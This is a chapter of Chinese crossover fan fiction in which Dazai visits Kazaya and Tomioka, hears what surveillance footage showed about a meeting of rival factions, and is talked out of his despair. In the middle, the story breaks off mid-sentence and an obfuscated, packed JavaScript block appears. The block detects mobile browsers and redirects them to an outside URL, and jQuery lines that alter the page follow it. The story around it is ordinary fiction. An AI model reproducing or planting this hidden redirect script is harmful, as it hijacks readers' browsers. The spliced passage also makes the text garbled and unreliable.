早上,六点。
风夏寂也被夺命的门铃“尖叫”和门被打开发出的轴承摩擦声吵醒了。
他一骨碌从床上爬起来,用了半秒钟思考为什么这个点会有人按门铃,又用了四分之一秒钟思考门为什么开了,才终于想起来家里并不是只有他一个人。
富冈住的那间房间确实离大门稍微近一点。
风夏寂也着急忙慌得出卧室,一路拐到客厅,连拖鞋都反穿了,最后他无语得注视门口站着的绷带青年——眼睛隐藏在阴影之中,就像是梅雨季被淋得潮潮的蘑菇,长叹气。
“怎么了,你心情好像很差的样子。”
风夏寂也在原地先把反穿的拖鞋换过来,“吃早饭吗,不,对你来说可能是吃早晚饭,一个晚上没休息?”
太宰治沉默得没有回应,他在门口脱了鞋子,只穿着袜子踩在地上进屋,淡淡得硝烟味道在走路的时候从衣物间散发出来,没办法掩饰的血腥气让富冈蹙了下眉头。
“我是来看硬盘的。”太宰治将沾着血污的大衣脱下来,随手挂在椅背上,“还有胶片,虽然七个葫芦救爷爷的故事也很好看,但是显然对找线索没什么帮助。”
他重新露出了那种笑意不达眼底的“虚假”笑容,“也许,你们会对第五方势力感兴趣。”
真的吗?我怎么不知道我会感兴趣。
风夏寂也把硬盘放在桌子上,“你自己去书房开电脑看吧,没有密码。”他完全没有跟过去的意思,径直去了厨房。
但是呢,风夏寂也这么淡定的原因,其实是他昨天晚上失眠,就起来把硬盘里的信息全扫完了。
那十几个T的视频,即便用程序插件辅助观看,也让他看的想吐。
“我不想看了,这么多资料找起来太累,直接告诉我,里面有什么人。”
太宰治从风夏寂也的反应推断出他昨天肯定找到了有用的信息,所以连一个眼神都没有分给那几个硬盘,他直接在餐桌椅子上坐下,双臂交叠着趴在桌面上,眼底有些青黑。
看来黑|帮也不是那么好当的。
风夏寂也忙着和平底锅“搏斗”,等他端着新鲜出炉的煎蛋培根玉子烧,从厨房出来的,发现太宰治居然趴在桌子上,头歪着睡着了。
他蓬松柔软的黑发将小半张脸都笼罩在阴影下,身上穿的白衬衫上星星点点得溅着血迹,背脊骨骼突出瘦的惊人。
这些青年真是毫不在乎自己的健康,芥川有肺病就不说的,太宰治的身体明显也处于亚健康状态。
待盘子被放在餐桌上,太宰治被从浅层睡眠中惊醒了。
“不好意思……啊!”
他一抬头,便埋入了毛茸茸得“伟岸胸襟”中,一只漆黑色的大鸟伸着头,几乎占据他全部视线。
太宰治脸上露出见鬼的表情,“怎么会有鸟?你养的宠物吗?”
宽三郎被太宰治夸张得惊呼吓得扑腾翅膀,后退半个桌子,它不悦得喊道,“你才是宠物!嘎——”
“鸟说话了!!”
太宰治承认他这回是真被惊到了,黑鸟人性化的叫了一声,随后飞到了富冈的头顶,老母鸡做窝一样安顿下来。
难道和首领的爱丽丝幼女一样,是某种异能?
“宽三郎是一只鎹鸦,你可以理解为人以外的智慧生物。”风夏寂也用了更加通俗的解释方式。
即便如此说了,太宰治依旧不死心得向鎹鸦靠过去,想要触碰一下它的羽毛。
宽三郎非常宽容得没有逃跑,他由着小辈用手指头戳了戳自己的翅膀,待太宰治更过分的想要抚摸的时候,才气愤得探头作势要啄他。
“哇哦——”他感叹一声,眼睛流连在鎹鸦身上,语气分外羡慕的,“你那边的鸟都会说话吗?”
富冈:“…………”
“好吧,你快点说一下硬盘里的东西,我等下还要回去开会,不能老是让首领等我。”太宰治催促道。
能和首领在一起开会,想必太宰治在港口Mafia的地位也不会低,搞不好还是个干部。
风夏寂也在富冈旁边坐下,把筷子架在盘子边缘——是三双。
“‘死屋之鼠’似乎想要和你们敌对的那个组织合作,但是没谈拢,他们起了冲突。”
在监控室中,风夏寂也快速浏览包厢外的监控画面,发现在一周前的早上,共有三批人出入过“和光”包厢,其中两批在走廊中出现过,另外批不走寻常路——特指窗户。
“开包厢的人有会所的长期会员,估计是‘死屋之鼠’组织中固定的联线人员,你们有条件的话最好查一下他。”
“昨天我叫人查了,他叫杉山一郎,但是很遗憾的是,他两天前死了。”
太宰治拿着筷子,将玉子烧放进嘴里,然后嫌弃得脸都皱起来了,“怎么是咸的?你是邪教吗?”
“爱吃不吃。”风夏寂也平淡道,“这说明,那个组织的头目‘魔人’,选择放弃这边的计划,或者优先选择了干掉自说自话得手下。”
“谁知道他想干什么。”太宰治明显知道些什么,但处于某种原因他还是选择略过,“然后呢,另外两拨人是佐藤健和Mimic?”
“如果你说的敌对组织叫Mimic,那就是。他们是受那个长期联络人员杉山一郎的邀约,前来会所。”
也许杉山一郎是想单独会面两批人的,但是会面凑得太近,如果一方早到或晚退,就很容易碰上,作为联络人员,他确实不太合格。
“佐藤健在会面中拿出了一支针剂,三方不知道谈论了些什么,那个Mimic的带头人被激怒了,他在桌面上摔碎了针剂,和来时一样,带着人从窗户离去。”
所以风夏寂也在监控室移动摄像头的角度,确认了花坛有被碾压的痕迹。
太宰治慢吞吞得吃了一个煎蛋和两个玉子烧,随后站起来伸了个懒腰,“Mimic的人中,有一个带学究圆框眼睛的人吗?”
“有。”
即便他们全都穿着斗篷,这种特征还是很容易分辨出来的。
“……那是第五方势力,官方的异能特务科。”
三个人沉默一会儿,太宰治人有些不稳的手扶着椅背,一时之间丧气得竟然好像连话都不想讲了。
如果是Q版漫画,非要在太宰的头顶画一朵会下雨的云,并且正在电闪雷鸣才行。
“所以说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17438796|200991||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,人到底为什么活着。”他近乎喃喃自语般轻声说,不知道是在问屋子里仅有的两个人,还是在问他自己。
太宰治并没有想要得到答案。
他脚步如同漂浮得走到大门口,开门扶着门框,瘦削苍白的手指用力得可以看见青色血管。
刚才那个煎蛋,油腻的让他有些犯恶心。
“是饮食不规律导致的血糖紊乱,你先坐下吧。”
风夏寂也将鞋柜下的小凳子抽出来,但是太宰治不领情得又往外迈了一步,强行忍过了最难受的那一阵恶心和心慌。
他感觉到冷汗让手心都黏腻腻得,就像是沾满了新鲜的血污。
“没事。”
太宰治轻微摇头,他克制得咬了下自己的嘴唇,虽然很讨厌疼痛,但此刻也不得不依赖疼痛来让自己保持清醒,“我先走了,也许会议结束后,森先生会留我吃午饭。”
“你和你们首领关系还挺好的。”
风夏寂也客套得说,实际上他对这个压榨下属的领导并不抱有好感。
社畜也不会通宵加班啊。
他转头从柜子里装了一小袋点心,回到大门口的时候,发现宽三郎站在富冈肩膀上,和太宰治面面相觑。
“太宰?”宽三郎道。
“哇——”
刚刚还一蹶不振的太宰治此刻激动地血气上脸,面色都不那么苍白了。
“不能将宽三郎爷爷当成动物看待,他是我的朋友,兼长辈。”富冈语气略显严肃。
太宰治立刻改正,郑重道,“宽三郎爷爷!”
鎹鸦疑惑得歪了下头,还是从喉咙里发出回应得“咕”声,而太宰治再次激动得眼冒星星。
“太宰治。”
“诶?”
富冈停顿一下,似乎在思考自己的措辞,“你的朋友还没有救。”
太宰治愣住了,被富冈那双深沉的蓝眸注视,他好像从中感受到了某些难以言说的期望,亦或是没办法弥补的遗憾。
“你说过不想他死,所以你不能先他而死。”
这是在对太宰治那句“人到底为什么活着”做出回应。
即便非常像道德绑架,但事实就是如此,假如因为不想见证朋友的离开而死去,那找不出比之更懦弱的事情了。
所以,就当是为了朋友,不要轻易放弃自己的生命。
太宰治哭似得轻笑一声,“不要这么轻易把自己刨给别人看啊。”
对他而言,富冈这两句话和自我刨白几乎没有区别,富冈有过失去朋友的痛苦经历,所以才会对太宰治救朋友的请求,如此在意。
“死亡才是一切的归宿,但是现如今,确实还有些事情要做。”
太宰治仰头,看向楼道深处不知名的黑暗,“我突然想到,也许我们的盟约,需要发挥一下作用了。”
*
披着纯黑色大衣的瘦削身影,拎着装点心的碎花布袋子,消失在楼道尽头。
他这次好像确实是一个人来的,至少说没有带一大批手下到这层楼来。
风夏寂也将门关上,用手机地图搜索了一下太宰治给予的那个地址——城西风味西餐厅(特色咖喱)